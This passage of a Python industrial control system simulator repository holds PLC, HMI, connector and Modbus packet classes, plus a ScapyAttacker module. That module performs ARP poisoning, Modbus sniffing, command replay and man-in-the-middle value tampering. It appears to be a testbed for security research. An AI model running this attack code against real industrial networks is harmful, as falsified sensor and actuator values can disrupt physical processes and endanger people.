Physics(ABC): 20 | @abstractmethod 21 | def __init__(self, connection): 22 | self._connector = ConnectorFactory.build(connection) 23 | pass 24 | 25 | def _set(self, tag, value): 26 | return self._connector.set(tag, value) 27 | 28 | def _get(self, tag): 29 | return self._connector.get(tag) 30 | 31 | 32 | class SensorConnector(Physics): 33 | def __init__(self, connection): 34 | super().__init__(connection) 35 | self._sensors = {} 36 | 37 | def add_sensor(self, tag, fault): 38 | self._sensors[tag] = fault 39 | 40 | def read(self, tag): 41 | if tag in self._sensors.keys(): 42 | value = self._get(tag) 43 | value += random.uniform(value, -1 * value) * self._sensors[tag] 44 | return value 45 | else: 46 | raise LookupError() 47 | 48 | 49 | class ActuatorConnector(Physics): 50 | def __init__(self, connection): 51 | super().__init__(connection) 52 | self._actuators = list() 53 | 54 | def add_actuator(self, tag): 55 | self._actuators.append(tag) 56 | 57 | def write(self, tag, value): 58 | if tag in self._actuators: 59 | self._set(tag, value) 60 | else: 61 | raise LookupError() 62 | 63 | 64 | class Runnable(ABC): 65 | COLOR_RED = '\033[91m' 66 | COLOR_GREEN = '\033[92m' 67 | COLOR_BLUE = '\033[94m' 68 | COLOR_CYAN = '\033[96m' 69 | COLOR_YELLOW = '\033[93m' 70 | COLOR_BOLD = '\033[1m' 71 | COLOR_PURPLE = '\033[35m' 72 | 73 | def __init__(self, name, loop): 74 | validate_type(name, 'name', str) 75 | validate_type(loop, 'loop cycle', int) 76 | 77 | self.__name = name 78 | self.__loop_cycle = loop 79 | 80 | 81 | 82 | # self.__loop_process = Process(target=self.do_loop, args=()) 83 | self.stop_event = threading.Event() 84 | self.__loop_process = threading.Thread(target=self.do_loop, args=(self.stop_event,)) 85 | self._last_loop_time = 0 86 | self._current_loop_time = 0 87 | self._start_time = 0 88 | self._last_logic_start = 0 89 | self._last_logic_end = 0 90 | self._initialize_logger() 91 | self.__clear_scr = False 92 | self._std = sys.stdin.fileno() 93 | 94 | self.report("Created", logging.INFO) 95 | 96 | def _initialize_logger(self): 97 | self._logger = self.setup_logger( 98 | "logs-" + self.name(), 99 | logging.Formatter('%(asctime)s %(levelname)s %(message)s') 100 | ) 101 | 102 | def _set_clear_scr(self, value): 103 | self.__clear_scr = value 104 | 105 | def _set_logger_level(self, level=logging.DEBUG): 106 | self._logger.setLevel(level) 107 | 108 | @staticmethod 109 | def setup_logger(name, format_str, level=logging.INFO, file_dir ="./logs", file_ext =".log", write_mode="w"): 110 | """To setup as many loggers as you want""" 111 | 112 | """ 113 | logging.basicConfig(filename="./logs/log-" + self.__name +".log", 114 | format='[%(levelname)s] [%(asctime)s] %(message)s ', 115 | filemode='w') 116 | """ 117 | """To setup as many loggers as you want""" 118 | if not os.path.exists(file_dir): 119 | os.makedirs(file_dir) 120 | 121 | file_path = os.path.join(file_dir,name) + file_ext 122 | handler = logging.FileHandler(file_path, mode=write_mode) 123 | handler.setFormatter(format_str) 124 | 125 | # Let us Create an object 126 | logger = logging.getLogger(name) 127 | 128 | # Now we are going to Set the threshold of logger to DEBUG 129 | logger.setLevel(level) 130 | logger.addHandler(handler) 131 | return logger 132 | 133 | def name(self): 134 | return self.__name 135 | 136 | def start(self): 137 | self.__loop_process.start() 138 | 139 | def stop(self): 140 | self._before_stop() 141 | self.stop_event.set() 142 | #self.__loop_process.terminate() 143 | self._after_stop() 144 | self.report("stopped", logging.INFO) 145 | 146 | def _after_stop(self): 147 | pass 148 | 149 | def _before_stop(self): 150 | pass 151 | 152 | def do_loop(self, stop_event): 153 | try: 154 | self.report("started", logging.INFO) 155 | self._before_start() 156 | 157 | self._start_time = self._current_loop_time = current_milli_cycle_time(self.__loop_cycle) 158 | while not stop_event.is_set(): 159 | 160 | self._last_loop_time = self._current_loop_time 161 | wait = self._last_loop_time + self.__loop_cycle - current_milli_time() 162 | 163 | if wait > 0: 164 | time.sleep(wait / 1000) 165 | 166 | 167 | self._current_loop_time = current_milli_cycle_time(self.__loop_cycle) 168 | self._last_logic_start = current_milli_time() 169 | 170 | self._pre_logic_update() 171 | self._logic() 172 | self._last_logic_end = current_milli_time() 173 | self._post_logic_update() 174 | except Exception as e: 175 | self.report(e.__str__(), logging.fatal) 176 | raise e 177 | 178 | 179 | except Exception as e: 180 | self.report(e.__str__(), logging.fatal) 181 | raise e 182 | 183 | def _before_start(self): 184 | sys.stdin = os.fdopen(self._std) 185 | 186 | @abstractmethod 187 | def _logic(self): 188 | pass 189 | 190 | def _post_logic_update(self): 191 | pass 192 | 193 | def _pre_logic_update(self): 194 | if self.__clear_scr: 195 | os.system('clear') 196 | 197 | def get_loop_latency(self): 198 | return self._last_logic_start - self._last_loop_time - self.__loop_cycle 199 | 200 | def get_alive_time(self): 201 | return self._current_loop_time - self._start_time 202 | 203 | def get_logic_execution_time(self): 204 | return self._last_logic_end - self._last_logic_start 205 | 206 | def report(self, msg, level=logging.NOTSET): 207 | name_msg = "[{}] {}".format(self.name(), msg) 208 | 209 | if level == logging.NOTSET: 210 | self.__show_console(msg) 211 | 212 | elif level == logging.DEBUG: 213 | self._logger.debug(name_msg) 214 | self.__show_console(self._make_text("[DEBUG] " + msg, self.COLOR_CYAN)) 215 | 216 | elif level == logging.INFO: 217 | self._logger.info(name_msg) 218 | self.__show_console(self._make_text("[INFO] " + msg, self.COLOR_GREEN)) 219 | 220 | elif level == logging.WARNING or level == logging.WARN: 221 | self._logger.warning(name_msg) 222 | self.__show_console(self._make_text("[WARNING] " + msg, self.COLOR_YELLOW)) 223 | 224 | elif level == logging.ERROR: 225 | self._logger.error(name_msg) 226 | self.__show_console(self._make_text("[ERROR] " + msg, self.COLOR_RED)) 227 | 228 | elif level == logging.FATAL or level == logging.CRITICAL: 229 | self._logger.fatal(name_msg) 230 | self.__show_console(self._make_text("[FATAL] " + msg, self.COLOR_RED)) 231 | 232 | def __show_console(self, msg): 233 | timestamp = self._make_text( datetime.now().strftime("%H:%M:%S"), self.COLOR_PURPLE) 234 | name = self._make_text(self.name(), self.COLOR_CYAN) 235 | print('[{} - {}]\t{}'.format(name, timestamp, msg), flush=True) 236 | 237 | @staticmethod 238 | def _make_text(msg, color): 239 | return color + msg + '\033[0m' 240 | 241 | class HIL(Runnable, Physics, ABC): 242 | @abstractmethod 243 | def __init__(self, name, connection, loop=SpeedConfig.PROCESS_PERIOD): 244 | Runnable.__init__(self, name, loop) 245 | Physics.__init__(self, connection) 246 | 247 | 248 | class DcsComponent(Runnable): 249 | def __init__(self, name, tags, plcs, loop): 250 | Runnable.__init__(self, name, loop) 251 | self.plcs = plcs 252 | self.tags = tags 253 | self.clients = {} 254 | self.__init_clients() 255 | 256 | def __init_clients(self): 257 | for plc_id in self.plcs: 258 | plc = self.plcs[plc_id] 259 | self.clients[plc_id] = (ProtocolFactory.create_client(plc['protocol'], plc['ip'], plc['port'])) 260 | 261 | def _send(self, tag, value): 262 | tag_id = self.tags[tag]['id'] 263 | plc_id = self.tags[tag]['plc'] 264 | self.clients[plc_id].send(tag_id, value) 265 | 266 | def _receive(self, tag): 267 | 268 | tag_id = self.tags[tag]['id'] 269 | plc_id = self.tags[tag]['plc'] 270 | 271 | return self.clients[plc_id].receive(tag_id) 272 | 273 | def _is_input_tag(self, tag): 274 | return self.tags[tag]['type'] == 'input' 275 | 276 | def _is_output_tag(self, tag): 277 | return self.tags[tag]['type'] == 'output' 278 | 279 | def _get_tag_id(self, tag): 280 | return self.tags[tag]['id'] 281 | 282 | def _get_tag_fault(self, tag): 283 | return self.tags[tag]['fault'] 284 | 285 | 286 | class PLC(DcsComponent): 287 | @abstractmethod 288 | def __init__(self, 289 | plc_id, 290 | sensor_connector, 291 | actuator_connector, 292 | tags, 293 | plcs, 294 | loop=SpeedConfig.DEFAULT_PLC_PERIOD_MS): 295 | 296 | name = plcs[plc_id]['name'] 297 | DcsComponent.__init__(self, name, tags, plcs, loop) 298 | self._sensor_connector = sensor_connector 299 | self._actuator_connector = actuator_connector 300 | 301 | self.id = plc_id 302 | self.ip = plcs[plc_id]['ip'] 303 | self.port = plcs[plc_id]['port'] 304 | self.protocol = plcs[plc_id]['protocol'] 305 | 306 | self.__init_sensors() 307 | self.__init_actuators() 308 | 309 | self.server = ProtocolFactory.create_server(self.protocol, self.ip, self.port) 310 | self.report('creating the server on IP = {}:{}'.format(self.ip, self.port), logging.INFO) 311 | 312 | self._snapshot_recorder = self.setup_logger("snapshots_" + self.name(), logging.Formatter('%(message)s'), file_ext=".csv") 313 | self.__record_variables = False; 314 | 315 | def set_record_variables(self, value): 316 | self.__record_variables = value 317 | 318 | 319 | def _post_logic_update(self): 320 | DcsComponent._post_logic_update(self) 321 | self._store_received_values() 322 | if self.__record_variables: 323 | self._record_variables() 324 | 325 | def _store_received_values(self): 326 | for tag_name, tag_data in self.tags.items(): 327 | if not self._is_local_tag(tag_name): 328 | continue 329 | 330 | if tag_data['type'] == 'output': 331 | self._set(tag_name, self.server.get(tag_data['id'])) 332 | elif tag_data['type'] == 'input': 333 | self.server.set(tag_data['id'], self._get(tag_name)) 334 | 335 | def _record_variables(self, header=False): 336 | snapshot = "" 337 | 338 | if header: 339 | snapshot += "time, current_loop, loop_latency, logic_execution_time, " 340 | else: 341 | snapshot += "{}, {}, {}, {}, ".format( 342 | datetime.now(), 343 | self._current_loop_time, 344 | self.get_loop_latency(), 345 | self.get_logic_execution_time() 346 | ) 347 | 348 | for tag_name, tag_data in self.tags.items(): 349 | if not self._is_local_tag(tag_name): 350 | continue 351 | if header: 352 | snapshot += "{}({}), ".format(tag_name, tag_data['id']) 353 | else: 354 | snapshot += "{}, ".format(self._get(tag_name)) 355 | 356 | self._snapshot_recorder.info(snapshot) 357 | 358 | def __init_sensors(self): 359 | for tag in self.tags: 360 | if self._is_input_tag(tag): 361 | self._sensor_connector.add_sensor(tag, self._get_tag_fault(tag)) 362 | 363 | def __init_actuators(self): 364 | for tag in self.tags: 365 | if self._is_output_tag(tag): 366 | self._actuator_connector.add_actuator(tag) 367 | 368 | def _get(self, tag): 369 | if self._is_local_tag(tag): 370 | 371 | if self._is_input_tag(tag): 372 | return self._sensor_connector.read(tag) 373 | else: 374 | return self.server.get(self._get_tag_id(tag)) 375 | else: 376 | try: 377 | return self._receive(tag) 378 | except Exception as e: 379 | self.report('receive null value for tag:{}'.format(tag), logging.WARNING) 380 | return -1 381 | 382 | def _set(self, tag, value): 383 | if self._is_local_tag(tag): 384 | self.server.set(self._get_tag_id(tag), value) 385 | return self._actuator_connector.write(tag, value) 386 | else: 387 | self._send(tag, value) 388 | 389 | 390 | def _is_local_tag(self, tag): 391 | return self.tags[tag]['plc'] == self.id 392 | 393 | def _before_start(self): 394 | self.server.start() 395 | for tag, value in self.tags.items(): 396 | if self._is_output_tag(tag) and self._is_local_tag(tag): 397 | self._set(tag, value['default']) 398 | self._record_variables(True) 399 | 400 | def stop(self): 401 | self.server.stop() 402 | DcsComponent.stop(self) 403 | 404 | def _check_manual_input(self, control_tag, actuator_tag): 405 | 406 | mode = self._get(control_tag) 407 | 408 | if mode == 1: 409 | self._set(actuator_tag, 0) 410 | return True 411 | elif mode == 2: 412 | self._set(actuator_tag, 1) 413 | return True 414 | return False 415 | 416 | 417 | class HMI(DcsComponent): 418 | def __init__(self, name, tags, plcs, loop=SpeedConfig.DEFAULT_PLC_PERIOD_MS): 419 | DcsComponent.__init__(self, name, tags, plcs, loop) 420 | 421 | def _before_start(self): 422 | DcsComponent._before_start(self) 423 | self._set_clear_scr(True) 424 | 425 | def _logic(self): 426 | self._display() 427 | self._operate() 428 | 429 | def _display(self): 430 | pass 431 | 432 | def _operate(self): 433 | pass 434 | 435 | 436 | 437 | 438 | 439 | 440 | 441 | 442 | 443 | 444 | 445 | 446 | 447 | 448 | 449 | 450 | 451 | 452 | 453 | 454 | 455 | 456 | 457 | 458 | 459 | -------------------------------------------------------------------------------- /src/ics_sim/ModbusCommand.py: -------------------------------------------------------------------------------- 1 | from datetime import datetime 2 | 3 | from protocol import ClientModbus 4 | 5 | 6 | class ModbusCommand: 7 | clients = dict() 8 | 9 | command_write_multiple_registers = 16 10 | command_read_holding_registers = 3 11 | 12 | def __init__(self, sip, dip, port, command, tag, value, new_value, word_num=2): 13 | self.sip = sip 14 | self.dip = dip 15 | self.port = port 16 | self.command = command 17 | self.tag = int(tag) 18 | self.address = tag * word_num 19 | self.value = value 20 | self.time = datetime.now().timestamp() 21 | self.new_value = new_value 22 | 23 | def __str__(self): 24 | return 'sip:{} dip{} port:{} command:{} address:{} value:{} time:{}'.format( 25 | self.sip, self.dip, self.port, self.command, self.address, self.value, self.new_value ,self.time) 26 | 27 | def send_fake(self): 28 | if not ModbusCommand.clients.keys().__contains__((self.dip, self.port)): 29 | ModbusCommand.clients[(self.dip, self.port)] = ClientModbus(self.dip, self.port) 30 | 31 | client = ModbusCommand.clients[(self.dip, self.port)] 32 | 33 | if self.command == ModbusCommand.command_read_holding_registers: 34 | client.receive(self.tag) 35 | 36 | if self.command == ModbusCommand.command_write_multiple_registers: 37 | client.send(self.tag, self.value) 38 | 39 | -------------------------------------------------------------------------------- /src/ics_sim/ModbusPackets.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | 3 | 4 | class ModbusTCP(Packet): 5 | name = "modbus_tcp" 6 | fields_desc = [ShortField("TransID", 0), 7 | ShortField("ProtocolID", 0), 8 | ShortField("Length", 0), 9 | ByteField("UnitID", 0) 10 | ] 11 | 12 | 13 | class ModbusWriteRequest(Packet): 14 | name = "modbus_tcp_write" 15 | fields_desc = [ByteField("Command", 0), 16 | ShortField("Reference", 0), 17 | ShortField("WordCnt", 0), 18 | ByteField("ByteCnt", 0), 19 | ShortField("Data0", 0), 20 | ShortField("Data1", 0), 21 | ] 22 | 23 | 24 | class ModbusReadRequestOrWriteResponse(Packet): 25 | name = "modbus_tcp_read_request" 26 | fields_desc = [ByteField("Command", 0), 27 | ShortField("Reference", 0), 28 | ShortField("WordCnt", 0), 29 | ] 30 | 31 | 32 | class ModbusReadResponse(Packet): 33 | name = "modbus_tcp_read_response" 34 | fields_desc = [ByteField("Command", 0), 35 | ByteField("ByteCnt", 0), 36 | ShortField("Data0", 0), 37 | ShortField("Data1", 0), 38 | ] 39 | -------------------------------------------------------------------------------- /src/ics_sim/NetworkNode.py: -------------------------------------------------------------------------------- 1 | class NetworkNode: 2 | def __init__(self, ip, mac): 3 | self.IP = ip 4 | self.MAC = mac 5 | 6 | def is_switch(self): 7 | return self.IP.split('.')[3] == '1' 8 | 9 | def __str__(self): 10 | return 'IP:{} MAC:{}'.format(self.IP, self.MAC) 11 | -------------------------------------------------------------------------------- /src/ics_sim/ScapyAttacker.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | 3 | #from matplotlib.backends.backend_pdf import Reference 4 | from scapy.layers.inet import IP 5 | from scapy.layers.l2 import ARP, Ether 6 | from ModbusPackets import * 7 | from NetworkNode import NetworkNode 8 | from ModbusCommand import ModbusCommand 9 | from protocol import ModbusBase 10 | 11 | 12 | class ScapyAttacker: 13 | ARP_MSG_CNT = 2 14 | BROADCAST_ADDRESS = "ff:ff:ff:ff:ff:ff" 15 | 16 | sniff_commands = [] 17 | sniff_time = None 18 | error = 0 19 | modbus_base = ModbusBase() 20 | 21 | @staticmethod 22 | def discovery(dst): 23 | nodes = [] 24 | ethernet_layer = Ether(dst=ScapyAttacker.BROADCAST_ADDRESS) 25 | arp_layer = ARP(pdst=dst) 26 | ans, un_ans = srp(ethernet_layer / arp_layer, timeout=ScapyAttacker.ARP_MSG_CNT) 27 | 28 | for sent, received in ans: 29 | nodes.append(NetworkNode(received[ARP].psrc, received[ARP].hwsrc)) 30 | return nodes 31 | 32 | @staticmethod 33 | def get_mac_address(ip_address): 34 | pkt = Ether(dst=ScapyAttacker.BROADCAST_ADDRESS) / ARP(pdst=ip_address) 35 | answered, unanswered = srp(pkt, timeout=ScapyAttacker.ARP_MSG_CNT, verbose=0) 36 | 37 | for sent, received in answered: 38 | return received[ARP].hwsrc 39 | 40 | @staticmethod 41 | def poison_arp_table(src, dst): 42 | print("Poisoning {} <==> {} .... started".format(src.IP, dst.IP), end='') 43 | gateway_to_target = ARP(op=2, hwdst=src.MAC, psrc=dst.IP, pdst=src.IP) 44 | target_to_gateway = ARP(op=2, hwdst=dst.MAC, psrc=src.IP, pdst=dst.IP) 45 | 46 | try: 47 | send(gateway_to_target, count=ScapyAttacker.ARP_MSG_CNT, verbose=0) 48 | send(target_to_gateway, count=ScapyAttacker.ARP_MSG_CNT, verbose=0) 49 | 50 | except Exception as e: 51 | sys.exit() 52 | 53 | print("[DONE]") 54 | 55 | @staticmethod 56 | def poison_arp_tables(nodes): 57 | print("\n Group poisoning [started]...") 58 | 59 | try: 60 | for src in nodes: 61 | for dst in nodes: 62 | if src.is_switch() or dst.is_switch() or src.IP <= dst.IP: 63 | continue 64 | ScapyAttacker.poison_arp_table(src, dst) 65 | 66 | except Exception as e: 67 | sys.exit() 68 | 69 | print("Group poisoning [DONE]") 70 | 71 | @staticmethod 72 | def restore_arp_table(src, dst): 73 | print("Restoring... {} and {} .... started".format(src.IP, dst.IP), end='') 74 | 75 | dst_src_fix = ARP(op=2, hwsrc=dst.MAC, psrc=dst.IP, pdst=src.IP, hwdst=ScapyAttacker.BROADCAST_ADDRESS) 76 | arp_layer = ARP(op=2, hwsrc=src.MAC, psrc=src.IP, pdst=dst.IP, hwdst=ScapyAttacker.BROADCAST_ADDRESS) 77 | send(dst_src_fix, count=ScapyAttacker.ARP_MSG_CNT, verbose=0) 78 | send(arp_layer, count=ScapyAttacker.ARP_MSG_CNT, verbose=0) 79 | print("[DONE]") 80 | 81 | @staticmethod 82 | def restore_arp_tables(nodes): 83 | print("Group restoring [started]... ") 84 | for src in nodes: 85 | for dst in nodes: 86 | if src.is_switch() or dst.is_switch() or src.IP <= dst.IP: 87 | continue 88 | 89 | ScapyAttacker.restore_arp_table(src, dst) 90 | print("Group restoring [DONE] ") 91 | 92 | @staticmethod 93 | def sniff_callback(pkt): 94 | if not pkt['Ethernet'].dst.endswith(Ether().src): 95 | return 96 | 97 | if not pkt.haslayer('TCP') or len(pkt['TCP'].payload) <= 0: # sniffing TCP payload is not possible 98 | return 99 | 100 | tcp_packet = ModbusTCP(pkt['TCP'].payload.load) 101 | if tcp_packet.Length == 6 or tcp_packet.Length == 11: 102 | if tcp_packet.Length == 6: 103 | modbus_packet = ModbusReadRequestOrWriteResponse(tcp_packet.payload.load) 104 | value = 0 105 | if modbus_packet.Command == ModbusCommand.command_write_multiple_registers: 106 | return 107 | else: # tcp_packet.Length == 11: 108 | modbus_packet = ModbusWriteRequest(tcp_packet.payload.load) 109 | value = ScapyAttacker.modbus_base.decode([modbus_packet.Data0, modbus_packet.Data1]) 110 | 111 | command = ModbusCommand( 112 | pkt['IP'].src, 113 | pkt['IP'].dst, 114 | pkt['TCP'].dport, 115 | modbus_packet.Command, 116 | int(modbus_packet.Reference) /2, # 2 in the work_num 117 | value, 118 | value, 119 | 120 | ) 121 | 122 | ScapyAttacker.sniff_commands.append(command) 123 | print('*', end='') 124 | 125 | @staticmethod 126 | def inject_callback(pkt): 127 | 128 | if not pkt['Ethernet'].dst.endswith(Ether().src): 129 | return 130 | 131 | if not pkt.haslayer('IP'): 132 | return 133 | 134 | new_packet = IP(dst=pkt['IP'].dst, src=pkt['IP'].src) 135 | new_packet['IP'].payload = pkt['IP'].payload 136 | 137 | 138 | 139 | if new_packet.haslayer('TCP') and len(new_packet['TCP'].payload) > 0: 140 | tcp_packet = ModbusTCP(pkt['TCP'].payload.load) 141 | if tcp_packet.Length == 7 or tcp_packet.Length == 11: 142 | if tcp_packet.Length == 7: 143 | modbus_packet = ModbusReadResponse(tcp_packet.payload.load) 144 | else: # tcp_packet.Length == 11: 145 | modbus_packet = ModbusWriteRequest(tcp_packet.payload.load) 146 | 147 | value = ScapyAttacker.modbus_base.decode([modbus_packet.Data0, modbus_packet.Data1]) 148 | 149 | new_value = value + (value * ScapyAttacker.error) 150 | values = ScapyAttacker.modbus_base.encode(new_value) 151 | 152 | offset = len(new_packet['TCP'].payload.load) - 4 153 | new_packet['TCP'].payload.load = ( 154 | new_packet['TCP'].payload.load[:offset] + 155 | values[0].to_bytes(2, 'big') + 156 | values[1].to_bytes(2, 'big')) 157 | 158 | reference = 0 159 | if tcp_packet.Length == 11: 160 | reference = modbus_packet.Reference 161 | 162 | command = ModbusCommand( 163 | pkt['IP'].src, 164 | pkt['IP'].dst, 165 | pkt['TCP'].dport, 166 | modbus_packet.Command, 167 | reference, 168 | value, 169 | new_value, 170 | datetime.now().timestamp() 171 | ) 172 | ScapyAttacker.sniff_commands.append(command) 173 | 174 | del new_packet[IP].chksum 175 | del new_packet[IP].payload.chksum 176 | send(new_packet) 177 | 178 | @staticmethod 179 | def clear_sniffed(): 180 | ScapyAttacker.sniff_commands = [] 181 | ScapyAttacker.sniff_time = None 182 | 183 | @staticmethod 184 | def start_sniff(sniff_callback_func, filter_string, timeout): 185 | ScapyAttacker.clear_sniffed() 186 | ScapyAttacker.sniff_time = datetime.now().timestamp() 187 | sniff(prn=sniff_callback_func, filter=filter_string, timeout=timeout) 188 | print() 189 | 190 | @staticmethod 191 | def scan_link(target_ip, gateway_ip, timeout): 192 | # assuming we have performed the reverse attack, we know the following 193 | ScapyAttacker.clear_sniffed() 194 | 195 | target_mac = ScapyAttacker.get_mac_address(target_ip) 196 | gateway_mac = ScapyAttacker.get_mac_address(gateway_ip) 197 | 198 | ScapyAttacker.poison_arp_table(NetworkNode(gateway_ip, gateway_mac), 199 | NetworkNode(target_ip, target_mac)) 200 | ScapyAttacker.start_sniff(ScapyAttacker.sniff_callback, "ip host " + target_ip, timeout) 201 | ScapyAttacker.restore_arp_table(NetworkNode(gateway_ip, gateway_mac), 202 | NetworkNode(target_ip, target_mac)) 203 | 204 | return ScapyAttacker.sniff_commands 205 | 206 | @staticmethod 207 | def scan_network(target, timeout): 208 | ScapyAttacker.clear_sniffed() 209 | 210 | nodes = ScapyAttacker.discovery(target) 211 | ScapyAttacker.poison_arp_tables(nodes) 212 | ScapyAttacker.start_sniff(ScapyAttacker.sniff_callback, "", timeout) 213 | ScapyAttacker.restore_arp_tables(nodes) 214 | 215 | return ScapyAttacker.sniff_commands 216 | 217 | @staticmethod 218 | def inject_link(target_ip, gateway_ip, timeout): 219 | target_mac = ScapyAttacker.get_mac_address(target_ip) 220 | gateway_mac = ScapyAttacker.get_mac_address(gateway_ip) 221 | 222 | ScapyAttacker.poison_arp_table(NetworkNode(gateway_ip, gateway_mac), 223 | NetworkNode(target_ip, target_mac)) 224 | ScapyAttacker.start_sniff(ScapyAttacker.inject_callback, "ip host " + target_ip, timeout) 225 | ScapyAttacker.restore_arp_table(NetworkNode(gateway_ip, gateway_mac), 226 | NetworkNode(target_ip, target_mac)) 227 | 228 | @staticmethod 229 | def inject_network(target, timeout): 230 | nodes = ScapyAttacker.discovery(target) 231 | ScapyAttacker.poison_arp_tables(nodes) 232 | ScapyAttacker.start_sniff(ScapyAttacker.inject_callback, "", timeout) 233 | ScapyAttacker.restore_arp_tables(nodes) 234 | 235 | @staticmethod 236 | def scan_attack(target, log): 237 | nodes = ScapyAttacker.discovery(target) 238 | log.info('# Found {} in the network {}:'.format(len(nodes), target)) 239 | for node in nodes: 240 | log.info(str(node)) 241 | 242 | @staticmethod 243 | def replay_attack(target, sniff_time, replay_cnt, log): 244 | if "/" in target: 245 | ScapyAttacker.scan_network(target, sniff_time) 246 | else: 247 | ScapyAttacker.scan_link(target.split(",")[0], target.split(",")[1], sniff_time) 248 | 249 | for i in range(replay_cnt): 250 | print("Replaying {}".format(i)) 251 | start = datetime.now().timestamp() 252 | for command in ScapyAttacker.sniff_commands: 253 | delay = (command.time - ScapyAttacker.sniff_time) - (datetime.now().timestamp() - start) 254 | if delay > 0: 255 | time.sleep(delay) 256 | command.send_fake() 257 | 258 | log.info('# Sniffed {} packets in the network {}:'.format(len(ScapyAttacker.sniff_commands), target)) 259 | for cmd in ScapyAttacker.sniff_commands: 260 | log.info(str(cmd)) 261 | 262 | print('# Replayed sniffed commands for {} times'.format(replay_cnt)) 263 | 264 | @staticmethod 265 | def mitm_attack(target, sniff_time, error, log): 266 | ScapyAttacker.error = error 267 | if "/" in target: 268 | ScapyAttacker.inject_network(target, sniff_time) 269 | else: 270 | ScapyAttacker.inject_link(target.split(",")[0], target.split(",")[1], sniff_time) 271 | 272 | log.info('# Changed {} packets in the network {}:'.format(len(ScapyAttacker.sniff_commands), target)) 273 | for cmd in ScapyAttacker.sniff_commands: 274 | log.info(str(cmd)) 275 | 276 | 277 | if __name__ == '__main__': 278 | parser = argparse.ArgumentParser(description='PCAP reader') 279 | parser.add_argument('--output', metavar='', 280 | help='csv file to output', required=True) 281 | parser.add_argument('--attack', metavar='determine type of attack', 282 | help='attack type could be scan, replay, mitm', required=True) 283 | 284 | parser.add_argument('--timeout', metavar='specify attack timeout', type=int, default=10, 285 | help='attack timeout for attacks, MitM/Replay attacks: attack seconds, scan: packets', 286 | required=False) 287 | 288 | parser.add_argument('--target', metavar='determine attack target', 289 | help='determine attack target', required=False) 290 | parser.add_argument('--parameter', metavar='determine attack parameter', type=float, default=5, 291 | help='determine attack parameter', required=False) 292 | 293 | parser.parse_args() 294 | args = parser.parse_args() 295 | 296 | handler = logging.FileHandler(args.output, mode="w") 297 | handler.setFormatter(logging.Formatter('%(message)s')) 298 | logger = logging.getLogger(args.attack) 299 | logger.setLevel(logging.INFO) 300 | logger.addHandler(handler) 301 | 302 | if args.attack == 'scan': 303 | ScapyAttacker.scan_attack(args.target, logger) 304 | 305 | if args.attack == 'replay': 306 | ScapyAttacker.replay_attack(args.target, args.timeout, int(args.parameter), logger) 307 | 308 | if args.attack == 'mitm': 309 | ScapyAttacker.mitm_attack(args.target, args.timeout, args.parameter, logger) 310 | 311 | 312 | -------------------------------------------------------------------------------- /src/ics_sim/configs.py: -------------------------------------------------------------------------------- 1 | class SpeedConfig: 2 | # Constants 3 | SPEED_MODE_FAST = 'fast' 4 | SPEED_MODE_MEDIUM = 'medium' 5 | SPEED_MODE_SLOW = 'slow' 6 | 7 | PLC_PERIOD = { 8 | SPEED_MODE_FAST: 200, 9 | SPEED_MODE_MEDIUM: 500, 10 | SPEED_MODE_SLOW: 1000 11 | } 12 | PROCESS_PERIOD = { 13 | SPEED_MODE_FAST: 50, 14 | SPEED_MODE_MEDIUM: 100, 15 | SPEED_MODE_SLOW: 200 16 | } 17 | 18 | # you code configure SPEED_MODE 19 | SPEED_MODE = SPEED_MODE_FAST 20 | 21 | DEFAULT_PLC_PERIOD_MS = PLC_PERIOD[SPEED_MODE] 22 | DEFAULT_FP_PERIOD_MS = PROCESS_PERIOD[SPEED_MODE] 23 | 24 | 25 | -------------------------------------------------------------------------------- /src/ics_sim/connectors.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sqlite3 3 | import memcache 4 | from abc import abstractmethod, ABC 5 | from os.path import splitext 6 | 7 | from pyModbusTCP.client import ModbusClient 8 | 9 | from ics_sim.helper import debug, error, validate_type 10 | import json 11 | 12 | from ics_sim.protocol import ClientModbus 13 | 14 | 15 | class Connector(ABC): 16 | 17 | """Base class.""" 18 | def __init__(self, connection): 19 | # TODO: Check the input 20 | self._name = connection['name'] 21 | self._path = connection['path'] 22 | self._connection = connection 23 | 24 | @abstractmethod 25 | def initialize(self, values, clear_old=False): 26 | pass 27 | 28 | @abstractmethod 29 | def set(self, key, value): 30 | pass 31 | 32 | @abstractmethod 33 | def get(self, key): 34 | pass 35 | 36 | 37 | class SQLiteConnector(Connector): 38 | def __init__(self, connection): 39 | Connector.__init__(self, connection) 40 | self._key = 'name' 41 | self._value = 'value' 42 | 43 | def initialize(self, values, clear_old=True): 44 | if clear_old and os.path.isfile(self._path): 45 | os.remove(self._path) 46 | 47 | schema = """ 48 | CREATE TABLE {} ( 49 | {} TEXT NOT NULL, 50 | {} REAL, 51 | PRIMARY KEY ({}) 52 | ); 53 | """.format(self._name, self._key, self._value, self._key) 54 | with sqlite3.connect(self._path) as conn: 55 | conn.executescript(schema) 56 | 57 | init_template = """ 58 | INSERT INTO {}""".format(self._name) + " VALUES ('{}', {});" 59 | 60 | schema_init = "" 61 | for item in values: 62 | schema_init += init_template.format(*item) 63 | 64 | with sqlite3.connect(self._path) as conn: 65 | conn.executescript(schema_init) 66 | 67 | def set(self, key, value): 68 | set_query = 'UPDATE {} SET {} = ? WHERE {} = ?'.format( 69 | self._name, 70 | self._value, 71 | self._key) 72 | with sqlite3.connect(self._path) as conn: 73 | try: 74 | cursor = conn.cursor() 75 | cursor.execute(set_query, [value, key]) 76 | conn.commit() 77 | return value 78 | 79 | except sqlite3.Error as e: 80 | error(f'_set in ICSSIM connection {e.args[0]} for setting tag {key}') 81 | 82 | def get(self, key): 83 | get_query = """SELECT {} FROM {} WHERE {} = ?""".format( 84 | self._value, 85 | self._name, 86 | self._key) 87 | 88 | with sqlite3.connect(self._path) as conn: 89 | try: 90 | 91 | cursor = conn.cursor() 92 | cursor.execute(get_query, [key]) 93 | record = cursor.fetchone() 94 | return record[0] 95 | 96 | except sqlite3.Error as e: 97 | error(f'_get in ICSSIM connection {e.args[0]} for getting tag {key}') 98 | 99 | 100 | class MemcacheConnector(Connector): 101 | def __init__(self, connection): 102 | Connector.__init__(self, connection) 103 | self._key = 'name' 104 | self._value = 'value' 105 | self.memcached_client = memcache.Client([self._path], debug=0) 106 | 107 | 108 | def initialize(self, values, clear_old=False): 109 | if clear_old: 110 | os.system('/etc/init.d/memcached restart') 111 | 112 | for key, value in values: 113 | self.memcached_client.set(key, value) 114 | 115 | def set(self, key, value): 116 | self.memcached_client.set(key, value) 117 | 118 | def get(self, key): 119 | return 